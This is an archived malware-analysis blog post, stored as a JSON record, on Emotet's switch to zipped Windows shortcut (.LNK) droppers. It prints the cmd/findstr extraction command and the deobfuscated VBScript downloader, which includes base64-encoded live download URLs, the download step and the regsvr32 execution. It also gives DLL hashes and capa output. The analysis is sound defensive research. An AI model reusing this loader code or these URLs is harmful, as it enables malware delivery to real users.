{
	"id": "3e3632ff-2b0b-4aea-9410-eff540900eda",
	"created_at": "2026-04-06T00:17:49.947317Z",
	"updated_at": "2026-04-10T03:21:06.653142Z",
	"deleted_at": null,
	"sha1_hash": "481e59a7aafa886581162db071e0657cef39753d",
	"title": "Shortcut to Emotet, an odd TTP change",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 95120,
	"plain_text": "Shortcut to Emotet, an odd TTP change\r\nPublished: 2022-04-24 · Archived: 2026-04-05 16:43:41 UTC\r\nThe adversary behind Emotet made a really interesting TTP change around 4/22 to use Windows shortcut files, and it\r\ndefinitely got noticed by multiple researchers.\r\n2022-04-22 (Friday) - #Emotet #epoch4 malspam sent zipped Windows shorcut (.LNK). LNK didn't work in my\r\nlab or online sandboxes. But the shortcut contains script that I copied into a .vbs file, which ran fine. LNK:\r\nhttps://t.co/zfiDZytclb VBS: https://t.co/PMKUrA7RIn pic.twitter.com/XiNbazHeY1\r\n— Brad (@malware_traffic) April 22, 2022\r\nThis TTP change is a bit odd but not entirely unexpected with Emotet. Since returning earlier in the year, the adversary\r\nbehind Emotet has spent a significant amount of time experimenting with different deployment techniques until settling on\r\nExcel 4.0 macros. Previous iterations also explored APPX packages, experiments with PowerShell, and more. There’s no\r\nway to know if this TTP change will stay as part of Emotet’s rotation, but if it does it will help to understand how it works.\r\nIn this post I want to walk through the latest change using the sample available in MalwareBazaar here:\r\nhttps://bazaar.abuse.ch/sample/082d5935271abf58419fb5e9de83996bd2f840152de595afa7d08e4b98b1d203/.\r\nTriaging the shortcut\r\nWe can easily get the first few details from the shortcut using a combination of diec , file , and exiftool . First, let’s\r\nconfirm the shortcut is indeed a shortcut.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nremnux@remnux:~/cases/emotet$ file INV\\ 2022-04-22_1538\\,\\ US.doc.lnk\r\nINV 2022-04-22_1538, US.doc.lnk: MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Ic\r\nremnux@remnux:~/cases/emotet$ diec INV\\ 2022-04-22_1538\\,\\ US.doc.lnk\r\nBinary\r\n Format: Windows Shortcut (.LNK)\r\nIt looks like both file and diec agree that we’re looking at a MS Windows LNK shortcut file. Now let’s parse that\r\nmetadata using exiftool .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\nremnux@remnux:~/cases/emotet$ exiftool INV\\ 2022-04-22_1538\\,\\ US.doc.lnk\r\nExifTool Version Number : 12.30\r\nFile Name : INV 2022-04-22_1538, US.doc.lnk\r\nDirectory : .\r\nFile Size : 3.6 KiB\r\nFile Modification Date/Time : 2022:04:22 22:17:34-04:00\r\nFile Access Date/Time : 2022:04:24 19:58:22-04:00\r\nFile Inode Change Date/Time : 2022:04:24 19:56:34-04:00\r\nFile Permissions : -rw-r--r--\r\nFile Type : LNK\r\nFile Type Extension : lnk\r\nMIME Type : application/octet-stream\r\nFlags : IDList, RelativePath, CommandArgs, IconFile, Unicode\r\nFile Attributes : (none)\r\nTarget File Size : 0\r\nIcon Index : 134\r\nRun Window : Normal\r\nHot Key : (none)\r\nTarget File DOS Name : cmd.exe\r\nRelative Path : ..\\..\\Windows\\system32\\cmd.exe\r\nCommand Line Arguments : /v:on /c findstr \"rSIPPswjwCtKoZy.*\" Password2.doc.lnk \u003e \"%tmp%\\VEuIqlISMa.vbs\" \u0026 \"%tmp%\\V\r\nIcon File Name : shell32.dll\r\nhttps://forensicitguy.github.io/shortcut-to-emotet-ttp-change/\r\nPage 1 of 6\n\nLooking at the metadata, we can piece together the command it’ll execute by piecing together the Target File DOS Name\r\nand Command Line Arguments. Put together, it’ll spawn this command:\r\n1 C:\\Windows\\system32\\cmd.exe /v:on /c findstr \"rSIPPswjwCtKoZy.*\" Password2.doc.lnk \u003e \"%tmp%\\VEuIqlISMa.vbs\" \u0026 \"%tmp%\\VEuIqlISM\r\nThat cmd.exe command will spawn from explorer.exe once the user clicks on the shortcut, execute a findstr to\r\nsearch a Password2.doc.lnk for a line that includes rSIPPswjwCtKoZy , writes that line of code to VEuIqlISMa.vbs , and\r\nthen executes VEuIqlISMa.vbs .\r\nNOTE: As the LNK file is currently not named Password2.doc.lnk , the stage will not work. We’re going to\r\ncontinue analysis here under the assumption the adversary had gotten the naming to work properly.\r\nAnalyzing the VBS\r\nWe can manually get the VBS file ourselves using a grep command in REMnux.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/emotet$ grep -aF \"rSIPPswjwCtKoZy\" INV\\ 2022-04-22_1538\\,\\ US.doc.lnk \u003e VEuIqlISMa.vbs\r\nremnux@remnux:~/cases/emotet$ file VEuIqlISMa.vbs\r\nVEuIqlISMa.vbs: ASCII text, with very long lines\r\nremnux@remnux:~/cases/emotet$ diec VEuIqlISMa.vbs\r\nBinary\r\n Format: plain text[LF]\r\nWe successfully exported the VBS! It’s all on one line initially, but once we clean it up we can get some findings. The first\r\nhalf of the script is below, and it contains some overhead code and the URLs needed for downloading code.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\nrSIPPswjwCtKoZy=1::\r\non error resume next:\r\nSet FSO = CreateObject(\"Scripting.FileSystemObject\")::\r\nFunction Base64Decode(ByVal vCode):\r\nWith CreateObject(\"Msxml2.DOMDocument.3.0\").CreateElement(\"base64\"):\r\n .dataType = \"bin.base64\":\r\n .text = vCode:\r\n Base64Decode = Stream_BinaryToString(.nodeTypedValue):\r\nEnd With:\r\nEnd Function::\r\nFunction Stream_BinaryToString(Binary):\r\nWith CreateObject(\"ADODB.Stream\"):\r\n .Type = 1:\r\n .Open:\r\n .Write\r\n Binary:\r\n .Position = 0:\r\n .Type = 2:\r\n .CharSet = \"utf-8\":\r\n Stream_BinaryToString = .ReadText:\r\nEnd With:\r\nEnd Function::\r\nDim JOCItJMMrs(7):::\r\nJOCItJMMrs(0) = \"aHR0cDovL2Z0cC5jaXBsYWZlLmNvbS5ici9BTFQvM3dkQllKZXBSVi8=\"::\r\n' hxxp://ftp.ciplafe.com[.]br/ALT/3wdBYJepRV/\r\nJOCItJMMrs(1) = \"aHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy85MHZsc1lXNUpJalov\"::\r\n' hxxps://bencevendeghaz[.]hu/wp-includes/90vlsYW5JIjZ/\r\nhttps://forensicitguy.github.io/shortcut-to-emotet-ttp-change/\r\nPage 2 of 6\n\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\nJOCItJMMrs(2) = \"aHR0cDovL2V6bmV0Yi5zeW5vbG9neS5tZS9AZWFEaXIvd2cyQnFhV0ZSWmIxRy8=\"::\r\n' hxxp://eznetb.synology[.]me/@eaDir/wg2BqaWFRZb1G/\r\nJOCItJMMrs(3) = \"aHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL2NvbnRhY3QtZm9ybXVsaWVyL3R2ekFUbkltRk1OZjIwcmM3Lw==\"::\r\n' hxxps://www.reneetten[.]nl/contact-formulier/tvzATnImFMNf20rc7/\r\nJOCItJMMrs(4) = \"aHR0cDovL2Rhcmtzd29yZC5ubC9hd3N0YXRzL1pxVm5VNW9sLw==\"::\r\n' hxxp://darksword[.]nl/awstats/ZqVnU5ol/\r\nJOCItJMMrs(5) = \"aHR0cDovL2RhY2VudGVjMi5sYXllcmVkc2VydmVyLmNvbS9zcGVlZHRlc3QvV2RKelFSRTlHaHZzLw==\"::\r\n' hxxp://dacentec2.layeredserver[.]com/speedtest/WdJzQRE9Ghvs/\r\nJOCItJMMrs(6) = \"aHR0cDovL3ZpcC1jbGluaWMucmF6cmFib3RrYS5ieS9hYm91dF9jZW50ZXIvTE10QlRjTEgwcEgxb1BoaTkv\":::\r\n' hxxp://vip-clinic.razrabotka[.]by/about_center/LMtBTcLH0pH1oPhi9/\r\nThe first two functions are overhead/utility functions to perform encoding conversions. The chunk of code manipulating\r\nJOCItJMMrs(7) creates an array that contains all the Emotet download URLs. These URLs are base64 encoded and you can\r\nreadily decode them using CyberChef or base64 -d commands in REMnux. The second half of the script contains some\r\nobfuscation in the form of string splitting and character to decimal conversion. Once we get that reduced, it’ll look\r\nsomething like this:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\nExecute(\r\n \"Dim Xml,WS,DB,FilepatH,URL:\r\n Xml = MSXML2.SErverXmlHtTP.3.0:\r\n WS = \"\"WsCript.SHELl:\r\n dB = \"\"adoDb.strEAM\"\":\r\n Set SblpfvbXdq = CREATEOBJECT(WS):\r\n tMP = sblpfvBXDQ.EXpAnDEnvironmentStRIngS(\"\"%TmP%\"\"):\r\n WIndiR = SbLPFvBxdQ.expandenviroNmEntstRINgs(\"\"%WINdir%\"\") ::\r\n filEpaTH = Tmp \u0026 \"\"\\VMtbfGSBow.QsJ\"\":::\r\n cAll prog:\r\n SUb prog:\r\n RANDoMIzE:\r\n indeX = int((6 - 0 + 1)*Rnd + 0):\r\n dIm MsxMl:\r\n Set MsXmL = crEAteoBJEct(Xml):\r\n diM sTreaM:\r\n seT STReaM = CrEATEObjEct(dB):\r\n MsXmL.opeN gEt, Base64DecOde(JocITjmMrS(iNDex)), fALSE:\r\n MsXmL.setreqUEsthEaDER USer-agEnT, kykwTJBDAyBKqLonrjjG:\r\n MsXMl.senD:\r\n wIth stReAm:\r\n .tyPe = 1:\r\n .open:\r\n .WRite MsXMl.resPONseboDy:\r\n .saVetofilE FilEPath, 2:\r\n end wiTh:\r\n EnD SUB\")::\r\nSBLpFvbXDQ.Exec(windir \u0026 \"\\System32\\regsvR32.ExE \" \u0026 tmp \u0026 Base64Decode(\"XHZtVGJmR1NCT1cucXNq\")):\r\n' \\vmTbfGSBOW.qsj\r\nFSO.GetFile(WScript.ScriptFullName).delete\r\nThis chunk of code takes VBScript pass into Execute() as a string and executes it. That code randomly picks an element\r\nof the JocITjmMrS(7) array, attempts to download content (presumably a DLL) from that URL to vmTbfGSBOW.qsj , and\r\nexecutes the downloaded content with regsvr32.exe . Afterward, the script deletes itself from disk. One very odd detail in\r\nthis script is that the adversary chooses to specify a User-Agent string of kykwTJBDAyBKqLonrjjG . This may be something\r\ndesigned to gate access or keep track of statistics since UA strings can be arbitrary and optional.\r\nTo summarize so far:\r\nexplorer.exe spawns cmd.exe with the findstr command to write the VBS\r\ncmd.exe spawns wscript.exe VEuIqlISMa.vbs\r\nwscript.exe contacts one of 7 URLs to download a DLL\r\nhttps://forensicitguy.github.io/shortcut-to-emotet-ttp-change/\r\nPage 3 of 6\n\nwscript.exe writes the DLL to vmTbfGSBOW.qsj\r\nwscript.exe executes regsvr32.exe vmTbfGSBOW.qsj\r\nwscript.exe removes VEuIqlISMa.vbs from disk\r\nTriage the downloaded DLL\r\nFrom here the threat converges to a traditional Emotet infection via DLL. Before I stop for the evening I still want to triage\r\nthe DLL a bit and see if we can generate some hypotheses.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/emotet$ file vmTbfGSBOW.qsj\r\nvmTbfGSBOW.qsj: PE32+ executable (DLL) (GUI) x86-64, for MS Windows\r\nremnux@remnux:~/cases/emotet$ diec vmTbfGSBOW.qsj\r\nPE64\r\n Library: MFC(-)[static]\r\n Compiler: Microsoft Visual C++(2005)[-]\r\n Linker: Microsoft Linker(8.0 or 11.0)[DLL64]\r\nIt looks like the file is a 64-bit Windows DLL. Let’s get those hashes:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/emotet$ pehash vmTbfGSBOW.qsj\r\nfile\r\n filepath: vmTbfGSBOW.qsj\r\n md5: 87531dab200c392f33d0d9c18abf53c0\r\n sha1: 82412da65a6638050344b87784c8a7ec4468fe58\r\n sha256: 3c9b05b81bf7f6e7864527c03f5ed8c87c9c7ebab58a58d1766fd439f2740ce8\r\n ssdeep: 12288:C1FIcocJwMTHzXO7N2OBHiyzskF1CubVnmn:tco9MTHzXO7N7/115mn\r\n imphash: 6ba79cbed2acbe9b8ecc8e14a572f100\r\nI also like to get rich header hashes for pivoting with VT Enterprise/Intelligence, and you can do the same using Python and\r\nthe pefile library.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nimport pefile\r\nbinary = pefile.PE('vmTbfGSBOW.qsj')\r\nbinary.get_rich_header_hash()\r\n'e47802314222a55b74fe99a752e0b658'\r\nWith the imphash we can pivot in VT to find files with similar capabilities, with the rich header hash we can pivot in VT to\r\nfind files with similar build environments. The final thing I want to do tonight is get an idea of the DLL’s capabilities using\r\ncapa .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\nremnux@remnux:~/cases/emotet$ capa vmTbfGSBOW.qsj\r\n+------------------------+------------------------------------------------------------------------------------+\r\n| md5 | 87531dab200c392f33d0d9c18abf53c0 |\r\n| sha1 | 82412da65a6638050344b87784c8a7ec4468fe58 |\r\n| sha256 | 3c9b05b81bf7f6e7864527c03f5ed8c87c9c7ebab58a58d1766fd439f2740ce8 |\r\n| path | vmTbfGSBOW.qsj |\r\n+------------------------+------------------------------------------------------------------------------------+\r\n+------------------------+------------------------------------------------------------------------------------+\r\nhttps://forensicitguy.github.io/shortcut-to-emotet-ttp-change/\r\nPage 4 of 6\n\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n| ATT\u0026CK Tactic | ATT\u0026CK Technique |\r\n|------------------------+------------------------------------------------------------------------------------|\r\n| COLLECTION | Input Capture::Keylogging T1056.001 |\r\n| DEFENSE EVASION | Modify Registry:: T1112 |\r\n| | Obfuscated Files or Information::Indicator Removal from Tools T1027.005 |\r\n| EXECUTION | Shared Modules:: T1129 |\r\n+------------------------+------------------------------------------------------------------------------------+\r\n+-----------------------------+-------------------------------------------------------------------------------+\r\n| MBC Objective | MBC Behavior |\r\n|-----------------------------+-------------------------------------------------------------------------------|\r\n| ANTI-STATIC ANALYSIS | Disassembler Evasion::Argument Obfuscation [B0012.001] |\r\n| COLLECTION | Keylogging::Polling [F0002.002] |\r\n| DISCOVERY | Application Window Discovery::Window Text [E1010.m01] |\r\n| MEMORY | Allocate Memory:: [C0007] |\r\n| OPERATING SYSTEM | Registry::Create Registry Key [C0036.004] |\r\n| | Registry::Delete Registry Key [C0036.002] |\r\n| | Registry::Open Registry Key [C0036.003] |\r\n+-----------------------------+-------------------------------------------------------------------------------+\r\n+------------------------------------------------------+------------------------------------------------------+\r\n| CAPABILITY | NAMESPACE |\r\n|------------------------------------------------------+------------------------------------------------------|\r\n| contain obfuscated stackstrings | anti-analysis/obfuscation/string/stackstring |\r\n| log keystrokes via polling | collection/keylog |\r\n| contain a resource (.rsrc) section | executable/pe/section/rsrc |\r\n| extract resource via kernel32 functions (3 matches) | executable/resource |\r\n| get graphical window text | host-interaction/gui/window/get-text |\r\n| allocate RWX memory | host-interaction/process/inject |\r\n| create or open registry key | host-interaction/registry |\r\n| delete registry key | host-interaction/registry/delete |\r\n| link function at runtime (4 matches) | linking/runtime-linking |\r\n| link many functions at runtime | linking/runtime-linking |\r\n| parse PE exports | load-code/pe |\r\n| parse PE header (6 matches) | load-code/pe |\r\n+------------------------------------------------------+------------------------------------------------------+\r\nThere are a decent number of capabilities listed but I want to zoom in on a few that may make further static analysis\r\ndifficult:\r\ncontains obfuscated stackstrings\r\nlink functions at runtime\r\nparse PE header/exports\r\nThe obfuscated stackstrings will slow static analysis a bit while the analyst figures out what the strings are supposed to say.\r\nThe function linking at runtime means that we can’t easily catalog all the capabilities of the DLL using its import table.\r\nOnce it starts using something like LoadLibrary and GetProcAddress to manually resolve other imports the sample will\r\nget more complicated quickly. Finally, PE header and export parsing isn’t always a sign of more difficulties, but it can\r\nindicate the sample is designed to unpack a second PE and write it into memory for execution. From here the best path for\r\nme will be dynamic analysis in a sandbox for further analysis.\r\nWhy a LNK shortcut?\r\nBefore winding down for the night, I want to address one question: “Why would an adversary use LNK files?”\r\nShortcut files present an interesting opportunity compared to other deployment options. Consider MS Office files and the\r\nmacros therein. As more adversaries have used macros, Microsoft has clamped down and allowed more security controls\r\naround macros to make them less useful to adversaries. As more organizations adopt controls to limit macros, adversaries\r\nbecome less effective. Consider script files like VBS, JS, and MSHTA files. Organizations can mitigate against adversaries\r\nusing these files by disabling their default file handler associations or replacing it with Notepad. Such a change won’t\r\nsignificantly hinder IT operations in most organizations, and it keeps users from double-clicking to execute malware.\r\nShortcut files are specifically designed to be double-clicked for execution. You can’t really block them easily because doing\r\nso would significantly interfere with normal desktop and start menu shortcuts. You can easily change their icons to show\r\nwhatever image you want, you can specify whatever commands in their metadata you want, and you can easily append data\r\nto a shortcut without interfering with its operation. This is a ready-made set of circumstances that allow easy exploitation.\r\nMany other adversaries have also explored using LNK files to great effect, including adversaries deploying IcedID and\r\nBumblebee malware.\r\nhttps://forensicitguy.github.io/shortcut-to-emotet-ttp-change/\r\nPage 5 of 6\n\nThanks for reading!\r\nSource: https://forensicitguy.github.io/shortcut-to-emotet-ttp-change/\r\nhttps://forensicitguy.github.io/shortcut-to-emotet-ttp-change/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/shortcut-to-emotet-ttp-change/"
	],
	"report_names": [
		"shortcut-to-emotet-ttp-change"
	],
	"threat_actors": [],
	"ts_created_at": 1775434669,
	"ts_updated_at": 1775791266,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/481e59a7aafa886581162db071e0657cef39753d.pdf",
		"text": "https://archive.orkl.eu/481e59a7aafa886581162db071e0657cef39753d.txt",
		"img": "https://archive.orkl.eu/481e59a7aafa886581162db071e0657cef39753d.jpg"
	}
}